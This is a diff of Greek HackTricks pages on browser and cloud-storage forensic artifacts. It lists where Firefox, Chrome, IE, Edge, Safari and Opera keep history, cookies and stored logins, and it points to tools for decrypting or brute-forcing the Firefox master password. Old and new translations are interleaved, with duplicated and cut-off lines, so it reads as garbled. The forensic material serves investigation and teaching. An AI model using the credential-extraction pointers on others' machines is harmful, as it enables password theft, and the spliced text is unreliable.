Ένα αρχείο `profiles.ini` εντός αυτών των καταλόγων καταγράφει τα προφίλ χρηστών. Τα δεδομένα κάθε προφίλ αποθηκεύονται σε έναν φάκελο που ονομάζεται στη μεταβλητή `Path` εντός του `profiles.ini`, που βρίσκεται στον ίδιο κατάλογο με το `profiles.ini` αυτό καθαυτό. Εάν λείπει ο φάκελος ενός προφίλ, μπορεί να έχει διαγραφεί.
Μέσα σε κάθε φάκελο προφίλ, μπορείτε να βρείτε αρκετά σημαντικά αρχεία:
* **places.sqlite**: Αποθηκεύει ιστορικό, σελιδοδείκτες και λήψεις. Εργαλεία όπως το [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) στα Windows μπορούν να έχουν πρόσβαση στα δεδομένα ιστορικού.
* Χρησιμοποιήστε συγκεκριμένες ερωτήσεις SQL για να εξάγετε πληροφορίες ιστορικού και λήψεων.
* Χρησιμοποιήστε συγκεκριμένα SQL queries για να εξαγάγετε πληροφορίες ιστορικού και λήψεων.
* **bookmarkbackups**: Περιέχει αντίγραφα ασφαλείας των σελιδοδεικτών.
* **formhistory.sqlite**: Αποθηκεύει δεδομένα φορμών ιστού.
* **formhistory.sqlite**: Αποθηκεύει δεδομένα φόρμας ιστού.
* **handlers.json**: Διαχειρίζεται τους χειριστές πρωτοκόλλων.
* **persdict.dat**: Λέξεις προσαρμοσμένου λεξικού.
* **addons.json** και **extensions.sqlite**: Πληροφορίες για εγκατεστημένα πρόσθετα και επεκτάσεις.
* **cookies.sqlite**: Αποθήκευση cookie, με το [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) διαθέσιμο για επιθεώρηση στα Windows.
* **persdict.dat**: Λέξεις του προσαρμοσμένου λεξικού.
* **addons.json** και **extensions.sqlite**: Πληροφορίες σχετικά με τα εγκατεστημένα πρόσθετα και επεκτάσεις.
* **cookies.sqlite**: Αποθήκευση cookies, με το [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) διαθέσιμο για επιθεώρηση στα Windows.
* **cache2/entries** ή **startupCache**: Δεδομένα cache, προσβάσιμα μέσω εργαλείων όπως το [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html).
* **favicons.sqlite**: Αποθηκεύει εικονίδια αγαπημένων.
* **favicons.sqlite**: Αποθηκεύει favicons.
* **prefs.js**: Ρυθμίσεις και προτιμήσεις χρήστη.
* **downloads.sqlite**: Παλαιότερη βάση δεδομένων λήψεων, πλέον ενσωματωμένη στο places.sqlite.
* **thumbnails**: Εικόνες προεπισκόπησης ιστοτόπων.
* **downloads.sqlite**: Παλιότερη βάση δεδομένων λήψεων, τώρα ενσωματωμένη στο places.sqlite.
* **thumbnails**: Μικρογραφίες ιστότοπων.
* **logins.json**: Κρυπτογραφημένες πληροφορίες σύνδεσης.
* **key4.db** ή **key3.db**: Αποθηκεύει κλειδιά κρυπτογράφησης για την προστασία ευαίσθητων πληροφοριών.
* **key4.db** ή **key3.db**: Αποθηκεύει κλειδιά κρυπτογράφησης για την ασφάλεια ευαίσθητων πληροφοριών.
Επιπλέον, η έλεγχος των ρυθμίσεων αντι-φισικών του περιηγητή μπορεί να γίνει αναζητώντας τις καταχωρήσεις `browser.safebrowsing` στο `prefs.js`, που υποδηλώνουν εάν οι λειτουργίες ασφαλούς περιήγησης είναι ενεργοποιημένες ή απενεργοποιημένες.
Επιπλέον, η έρευνα για τις ρυθμίσεις κατά της απάτης του προγράμματος περιήγησης μπορεί να γίνει αναζητώντας τις εγγραφές `browser.safebrowsing` στο `prefs.js`, υποδεικνύοντας εάν οι δυνατότητες ασφαλούς πλοήγησης είναι ενεργοποιημένες ή απενεργοποιημένες.
Για να δοκ
Για να προσπαθήσετε να αποκρυπτογραφήσετε τον κύριο κωδικό πρόσβασης, μπορείτε να χρησιμοποιήσετε [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)\
Με το παρακάτω σενάριο και κλήση μπορείτε να καθορίσετε ένα αρχείο κωδικών πρόσβασης για brute force:
{% code title="brute.sh" %}
```bash
#!/bin/bash
@ -88,67 +92,116 @@ done < $passfile
## Google Chrome
Ο Google Chrome αποθηκεύει τα προφίλ χρηστών σε συγκεκριμένες τοποθεσίες βάσει του λειτουργικού συστήματος:
Ο Google Chrome αποθηκεύει τα προφίλ χρηστών σε συγκεκριμένες τοποθεσίες ανάλογα με το λειτουργικό σύστημα:
- **Linux**: `~/.config/google-chrome/`
- **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
- **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
* **Linux**: `~/.config/google-chrome/`
* **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
* **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
Μέσα σε αυτούς τους καταλόγους, η πλειονότητα των δεδομένων του χρήστη μπορεί να βρεθεί στους φακέλους **Default/** ή **ChromeDefaultData/**. Τα ακόλουθα αρχεία περιέχουν σημαντικά δεδομένα:
Μέσα σε αυτούς τους καταλόγους, τα περισσότερα δεδομένα χρηστών μπορούν να βρεθούν στους φακέλους **Default/** ή **ChromeDefaultData/**. Τα παρακάτω αρχεία περιέχουν σημαντικά δεδομένα:
- **History**: Περιέχει διευθύνσεις URL, λήψεις και λέξεις-κλειδιά αναζήτησης. Στα Windows, μπορεί να χρησιμοποιηθεί το [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) για την ανάγνωση του ιστορικού. Η στήλη "Transition Type" έχει διάφορες σημασίες, συμπεριλαμβανομένων των κλικ του χρήστη σε συνδέσμους, την πληκτρολόγηση διευθύνσεων URL, τις υποβολές φόρμας και τις ανανεώσεις σελίδων.
- **Cookies**: Αποθηκεύει τα cookies. Για επιθεώρηση, είναι διαθέσιμο το [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html).
- **Cache**: Κρατά τα αποθηκευμένα δεδομένα. Για επιθεώρηση, οι χρήστες των Windows μπορούν να χρησιμοποιήσουν το [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html).
- **Bookmarks**: Σελιδοδείκτες του χρήστη.
- **Web Data**: Περιέχει το ιστορικό φόρμας.
- **Favicons**: Αποθηκεύει τα εικονίδια ιστότοπων.
- **Login Data**: Περιλαμβάνει διαπιστευτήρια σύνδεσης όπως ονόματα χρηστών και κωδικούς πρόσβασης.
- **Current Session**/**Current Tabs**: Δεδομένα σχετικά με την τρέχουσα συνεδρία περιήγησης και τις ανοιχτές καρτέλες.
- **Last Session**/**Last Tabs**: Πληροφορίες σχετικά με τις ιστοσελίδες που ήταν ενεργές κατά την τελευταία συνεδρία πριν το κλείσιμο του Chrome.
- **Extensions**: Κατάλογοι για πρόσθετα και επεκτάσεις περιήγησης.
- **Thumbnails**: Αποθηκεύει μικρογραφίες ιστοσελίδων.
- **Preferences**: Ένα αρχείο πλούσιο σε πληροφορίες, συμπεριλαμβανομένων ρυθμίσεων για πρόσθετα, επεκτάσεις, αναδυόμενα παράθυρα, ειδοποιήσεις και άλλα.
- **Ενσωματωμένο αντι-φισικά του προγράμματος περιήγησης**: Για να ελέγξετε αν η αντι-φισικά και η προστασία από κακόβουλο λογισμικό είναι ενεργοποιημένες, εκτελέστε `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Αναζητήστε το `{"enabled: true,"}` στην έξοδο.
* **History**: Περιέχει URLs, λήψεις και λέξεις-κλειδιά αναζήτησης. Στα Windows, μπορεί να χρησιμοποιηθεί το [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) για να διαβαστεί το ιστορικό. Η στήλη "Transition Type" έχει διάφορες σημασίες, συμπεριλαμβανομένων των κλικ χρηστών σε συνδέσμους, πληκτρολογημένων URLs, υποβολών φορμών και ανανεώσεων σελίδων.
* **Cookies**: Αποθηκεύει cookies. Για επιθεώρηση, είναι διαθέσιμο το [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html).
* **Cache**: Περιέχει δεδομένα cache. Για επιθεώρηση, οι χρήστες Windows μπορούν να χρησιμοποιήσουν το [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html).
* **Bookmarks**: Σελιδοδείκτες χρηστών.
* **Web Data**: Περιέχει ιστορικό φορμών.
* **Favicons**: Αποθηκεύει τα favicons ιστοσελίδων.
* **Login Data**: Περιλαμβάνει διαπιστευτήρια σύνδεσης όπως ονόματα χρηστών και κωδικούς πρόσβασης.
* **Current Session**/**Current Tabs**: Δεδομένα σχετικά με την τρέχουσα συνεδρία περιήγησης και τις ανοιχτές καρτέλες.
* **Last Session**/**Last Tabs**: Πληροφορίες σχετικά με τους ιστότοπους που ήταν ενεργοί κατά την τελευταία συνεδρία πριν κλείσει ο Chrome.
* **Extensions**: Κατάλογοι για επεκτάσεις και addons του προγράμματος περιήγησης.
* **Thumbnails**: Αποθηκεύει μικρογραφίες ιστοσελίδων.
* **Preferences**: Ένα αρχείο πλούσιο σε πληροφορίες, συμπεριλαμβανομένων ρυθμίσεων για plugins, επεκτάσεις, αναδυόμενα παράθυρα, ειδοποιήσεις και άλλα.
* **Browsers built-in anti-phishing**: Για να ελέγξετε αν είναι ενεργοποιημένη η προστασία κατά του phishing και του κακόβουλου λογισμικού, εκτελέστε `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Αναζητήστε `{"enabled: true,"}` στην έξοδο.
## **Ανάκτηση Δεδομένων Βάσης Δεδομένων SQLite**
## **SQLite DB Data Recovery**
Όπως μπορείτε να παρατηρήσετε στις προηγούμενες ενότητες, τόσο ο Chrome όσο και ο Firefox χρησιμοποιούν βάσεις δεδομένων **SQLite** για την αποθήκευση των δεδομένων. Είναι δυνατή η **ανάκτηση διαγραμμένων καταχωρήσεων χρησιμοποιώντας το εργαλείο** [**sqlparse**](https://github.com/padfoot999/sqlparse) **ή** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
Όπως μπορείτε να παρατηρήσετε στις προηγούμενες ενότητες, τόσο ο Chrome όσο και ο Firefox χρησιμοποιούν βάσεις δεδομένων **SQLite** για να αποθηκεύσουν τα δεδομένα. Είναι δυνατή η **ανάκτηση διαγραμμένων εγγραφών χρησιμοποιώντας το εργαλείο** [**sqlparse**](https://github.com/padfoot999/sqlparse) **ή** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
## **Internet Explorer 11**
Ο Internet Explorer 11 διαχειρίζεται τα δεδομένα και τα μεταδεδομένα του σε διάφορες τοποθεσίες, βοηθώντας στον διαχωρισμό των αποθηκευμένων πληροφοριών και των αντίστοιχων λεπτομερειών για εύκολη πρόσβαση και διαχείριση.
Ο Internet Explorer 11 διαχειρίζεται τα δεδομένα και τα μεταδεδομένα του σε διάφορες τοποθεσίες, διευκολύνοντας τη διαχωριστική αποθήκευση πληροφοριών και των αντίστοιχων λεπτομερειών για εύκολη πρόσβαση και διαχείριση.
### Αποθήκευση Μεταδεδομένων
### Metadata Storage
Τα μεταδεδομένα για τον Internet Explorer αποθηκεύονται στο `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (όπου το VX είναι V01, V16 ή V24). Συνοδευόμενο από αυτό, το αρχείο `V01.log` μπορεί να εμφανίσει αντιφάσεις στον χρόνο τροποποίησης με το `WebcacheVX.data`, υποδεικνύοντας την ανάγκη επισκευής χρησιμοποιώντας το `esentutl /r V01 /d`. Αυτά τα μεταδεδομένα, που φιλοξενούνται σε μια βάση δεδομένων ESE, μπορούν να ανακτηθούν και να επιθεωρηθούν χρησιμοποιώντας εργαλεία όπως το photorec και το [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), αντίστοιχα. Μέσα στον πίνακα **Containers**, μπορεί κανείς να διακρίνει τους συγκεκριμένους πίνακες ή δοχεία όπου αποθηκεύεται κάθε τμήμα δεδομένων, συμπεριλαμβανομένων λεπτομερειών cache για άλλα εργαλεία της Microsoft, όπως το Skype.
Τα μεταδεδομένα για τον Internet Explorer αποθηκεύονται στο `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (με το VX να είναι V01, V16 ή V24). Μαζί με αυτό, το αρχείο `V01.log` μπορεί να δείξει διαφορές χρόνου τροποποίησης με το `WebcacheVX.data`, υποδεικνύοντας την ανάγκη επισκευής χρησιμοποιώντας `esentutl /r V01 /d`. Αυτά τα μεταδεδομένα, που φιλοξενούνται σε μια βάση δεδομένων ESE, μπορούν να ανακτηθούν και να επιθεωρηθούν χρησιμοποιώντας εργαλεία όπως το photorec και το [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), αντίστοιχα. Μέσα στον πίνακα **Containers**, μπορεί κανείς να διακρίνει τους συγκεκριμένους πίνακες ή κοντέινερ όπου αποθηκεύεται κάθε τμήμα δεδομένων, συμπεριλαμβανομένων των λεπτομερειών cache για άλλα εργαλεία της Microsoft όπως το Skype.
### Επιθεώρηση Cache
### Cache Inspection
Το εργαλείο [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) επιτρέπει την επιθεώρηση της μνήμης cache, απαιτώντας την τοποθεσία φακέλου εξαγωγής δεδομένων cache. Τα μεταδεδομένα για την cache περιλαμβάνουν όνομα αρχείου, κατάλογο, αριθμό πρόσβασης, προέλευση URL και χρονικά σημεία που υποδεικνύουν τη δημιουργία, την πρόσβαση, την τροποποίηση και τους χρόνους λήξης της cache.
Το εργαλείο [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) επιτρέπει την επιθεώρηση της cache, απαιτώντας την τοποθεσία του φακέλου εξαγωγής δεδομένων cache. Τα μεταδεδομένα για την cache περιλαμβάνουν το όνομα αρχείου, τον κατάλογο, τον αριθμό πρόσβασης, την προέλευση URL και χρονικές σφραγίδες που υποδεικνύουν τους χρόνους δημιουργίας, πρόσβασης, τροποποίησης και λήξης της cache.
### Διαχείριση Cookies
### Cookies Management
Τα cookies μπορούν να εξερευνηθούν χρησιμοποιώντας το [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), με μεταδεδομένα που περιλαμβάνουν ονόματα, διευθύνσεις URL, αριθμούς πρόσβασης και διάφορες λεπτομέρειες σχετικές με το χρόνο. Τα μόνιμα cookies αποθηκεύονται στο `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, με τα session cookies να βρίσκονται στη μνήμη.
Τα cookies μπορούν να εξερευνηθούν χρησιμοποιώντας το [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), με τα μεταδεδομένα να περιλαμβάνουν ονόματα, URLs, αριθμούς πρόσβασης και διάφορες λεπτομέρειες σχετικές με τον χρόνο. Τα μόνιμα cookies αποθηκεύονται στο `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, με τα session cookies να βρίσκονται στη μνήμη.
### Λεπτομέρειες Λήψης
### Download Details
Τα μεταδεδομένα λήψης είναι προσβάσιμα μέσω του [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), με συγκεκριμένα δοχεία που κρατούν δεδομένα όπως URL, τύπο αρχείου και τοποθεσία λήψης. Τα φυσικά αρχεία μπορούν να βρεθούν στο `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
Τα μεταδεδομένα λήψεων είναι προσβάσιμα μέσω του [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), με συγκεκριμένα κοντέινερ να περιέχουν δεδομένα όπως URL, τύπο αρχείου και τοποθεσία λήψης. Τα φυσικά αρχεία μπορούν να βρεθούν κάτω από το `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
### Ιστορικό Περιήγησης
### Browsing History
Για να ελέγξετε το ιστορικό περιήγησης, μπορεί να χρησιμοποιηθεί το [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html), απαιτώντας την τοποθεσία των εξαγόμενων αρχείων ιστορικού και τη διαμόρφωση για τον Internet Explorer. Τα μεταδεδομένα εδώ περιλαμβάνουν χρόνους τροποποίησης και πρόσβασης, μαζί με αριθμούς πρόσβασης. Τα αρχεία ιστορικού βρίσκονται στο `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
Για να αναθεωρήσετε το ιστορικό περιήγησης, μπορεί να χρησιμοποιηθεί το [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html), απαιτώντας την τοποθεσία των εξαγόμενων αρχείων ιστορικού και τη ρύθμιση για τον Internet Explorer. Τα μεταδεδομένα εδώ περιλαμβάνουν χρόνους τροποποίησης και πρόσβασης, μαζί με αριθμούς πρόσβασης. Τα αρχεία ιστορικού βρίσκονται στο `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
### Καταχωρημένες Διευθύνσεις URL
### Typed URLs
Οι καταχωρημένες διευθύνσεις URL και οι χρόνοι χρήσης τους αποθηκεύονται στο μητρώο στο `NTUSER.DAT` στις διαδρομές `Software\Microsoft\InternetExplorer\TypedURLs` και `Software\Microsoft\InternetExplorer\TypedURLsTime`, παρακολουθώντας τις τελευταίες 50 διευθύνσεις URL που εισήγαγε ο χρήστης και τους τελευταίους χρόνους εισαγωγής τους.
Τα πληκτρολογημένα URLs και οι χρόνοι χρήσης τους αποθηκεύονται στο μητρώο κάτω από το `NTUSER.DAT` στο `Software\Microsoft\InternetExplorer\TypedURLs` και `Software\Microsoft\InternetExplorer\TypedURLsTime`, παρακολουθώντας τα τελευταία 50 URLs που εισήγαγε ο χρήστης και τους τελευταίους χρόνους εισόδου τους.
## Microsoft Edge
Τα δεδομένα του χρήστη στο Microsoft Edge αποθηκεύονται στο `%userprofile%\Appdata\Local\Packages`. Οι διαδρομές για διάφορους τύπους δεδομένων είναι:
Ο Microsoft Edge αποθηκεύει τα δεδομένα χρηστών στο `%userprofile%\Appdata\Local\Packages`. Οι διαδρομές για διάφορους τύπους δεδομένων είναι:
- **Διαδρομή Προφίλ**: `C:\Users\XX
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
* **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
* **Settings, Bookmarks, and Reading List**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
* **Cache**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache`
* **Last Active Sessions**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active`
## Safari
Τα δεδομένα του Safari αποθηκεύονται στο `/Users/$User/Library/Safari`. Τα κύρια αρχεία περιλαμβάνουν:
* **History.db**: Περιέχει τους πίνακες `history_visits` και `history_items` με URLs και χρονικές σφραγίδες επισκέψεων. Χρησιμοποιήστε το `sqlite3` για να κάνετε ερωτήσεις.
* **Downloads.plist**: Πληροφορίες σχετικά με τα ληφθέντα αρχεία.
* **Bookmarks.plist**: Αποθηκεύει τα URLs που έχουν προστεθεί στους σελιδοδείκτες.
* **TopSites.plist**: Οι πιο συχνά επισκεπτόμενοι ιστότοποι.
* **Extensions.plist**: Λίστα με τις επεκτάσεις του προγράμματος περιήγησης Safari. Χρησιμοποιήστε το `plutil` ή το `pluginkit` για να τις ανακτήσετε.
* **UserNotificationPermissions.plist**: Τομείς που επιτρέπεται να στέλνουν ειδοποιήσεις. Χρησιμοποιήστε το `plutil` για να αναλύσετε.
* **LastSession.plist**: Καρτέλες από την τελευταία συνεδρία. Χρησιμοποιήστε το `plutil` για να αναλύσετε.
* **Browsers built-in anti-phishing**: Ελέγξτε χρησιμοποιώντας `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Μια απάντηση 1 υποδεικνύει ότι η δυνατότητα είναι ενεργή.
## Opera
Τα δεδομένα του Opera βρίσκονται στο `/Users/$USER/Library/Application Support/com.operasoftware.Opera` και μοιράζεται τη μορφή του Chrome για ιστορικό και λήψεις.
* **Browsers built-in anti-phishing**: Επαληθεύστε ελέγχοντας αν το `fraud_protection_enabled` στο αρχείο Preferences είναι ρυθμισμένο σε `true` χρησιμοποιώντας `grep`.
Αυτές οι διαδρομές και οι εντολές είναι κρίσιμες για την πρόσβαση και την κατανόηση των δεδομένων περιήγησης που αποθηκεύονται από διάφορους ιστότοπους.
## References
* [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a)
* [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/)
* [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file)
* **Βιβλίο: OS X Incident Response: Scripting and Analysis By Jaron Bradley σελίδα 123**
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** που υποστηρίζονται από τα **πιο προηγμένα** εργαλεία της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %}
<details>
<summary><strong>Μάθετε hacking AWS από το μηδέν έως τον ήρωα με</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα κόλπα σας στο χάκινγκ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα κόλπα hacking σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -1,54 +1,55 @@
# Τοπική Αποθήκευση Στο Cloud
# Τοπική Αποθήκευση Cloud
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=local-cloud-storage) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Αποκτήστε Πρόσβαση Σήμερα:
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=local-cloud-storage) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τη βοήθεια των **πιο προηγμένων** εργαλείων της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=local-cloud-storage" %}
## OneDrive
Στα Windows, μπορείτε να βρείτε το φάκελο του OneDrive στο `\Users\<username>\AppData\Local\Microsoft\OneDrive`. Και μέσα στον φάκελο `logs\Personal` είναι δυνατόν να βρείτε το αρχείο `SyncDiagnostics.log` το οποίο περιέχει μερικά ενδιαφέροντα δεδομένα σχετικά με τα συγχρονισμένα αρχεία:
Στα Windows, μπορείτε να βρείτε τον φάκελο OneDrive στο `\Users\<username>\AppData\Local\Microsoft\OneDrive`. Και μέσα στο `logs\Personal` είναι δυνατόν να βρείτε το αρχείο `SyncDiagnostics.log` το οποίο περιέχει ορισμένα ενδιαφέροντα δεδομένα σχετικά με τα συγχρονισμένα αρχεία:
* Μέγεθος σε bytes
* Ημερομηνία δημιουργίας
* Ημερομηνία τροποποίησης
* Αριθμός αρχείων στο cloud
* Αριθμός αρχείων στον φάκελο
* **CID**: Μοναδικό ID του χρήστη του OneDrive
* **CID**: Μοναδικό ID του χρήστη OneDrive
* Χρόνος δημιουργίας αναφοράς
* Μέγεθος του σκληρού δίσκου του λειτουργικού συστήματος
* Μέγεθος του HD του OS
Αφού βρείτε το CID συνιστάται να **αναζητήσετε αρχεία που περιέχουν αυτό το ID**. Μπορείτε να βρείτε αρχεία με τα ονόματα: _**\<CID>.ini**_ και _**\<CID>.dat**_ που μπορεί να περιέχουν ενδιαφέρουσες πληροφορίες όπως τα ονόματα των αρχείων που συγχρονίζονται με το OneDrive.
Αφού βρείτε το CID, συνιστάται να **αναζητήσετε αρχεία που περιέχουν αυτό το ID**. Μπορείτε να βρείτε αρχεία με το όνομα: _**\<CID>.ini**_ και _**\<CID>.dat**_ που μπορεί να περιέχουν ενδιαφέρουσες πληροφορίες όπως τα ονόματα των αρχείων που συγχρονίστηκαν με το OneDrive.
## Google Drive
Στα Windows, μπορείτε να βρείτε τον κύριο φάκελο του Google Drive στο `\Users\<username>\AppData\Local\Google\Drive\user_default`\
Αυτός ο φάκελος περιέχει ένα αρχείο με το όνομα Sync\_log.log με πληροφορίες όπως η διεύθυνση email του λογαριασμού, ονόματα αρχείων, χρονικά σημεία, MD5 hashes των αρχείων, κλπ. Ακόμα και τα διαγραμμένα αρχεία εμφανίζονται σε αυτό το αρχείο καταγραφής με το αντίστοιχο MD5 τους.
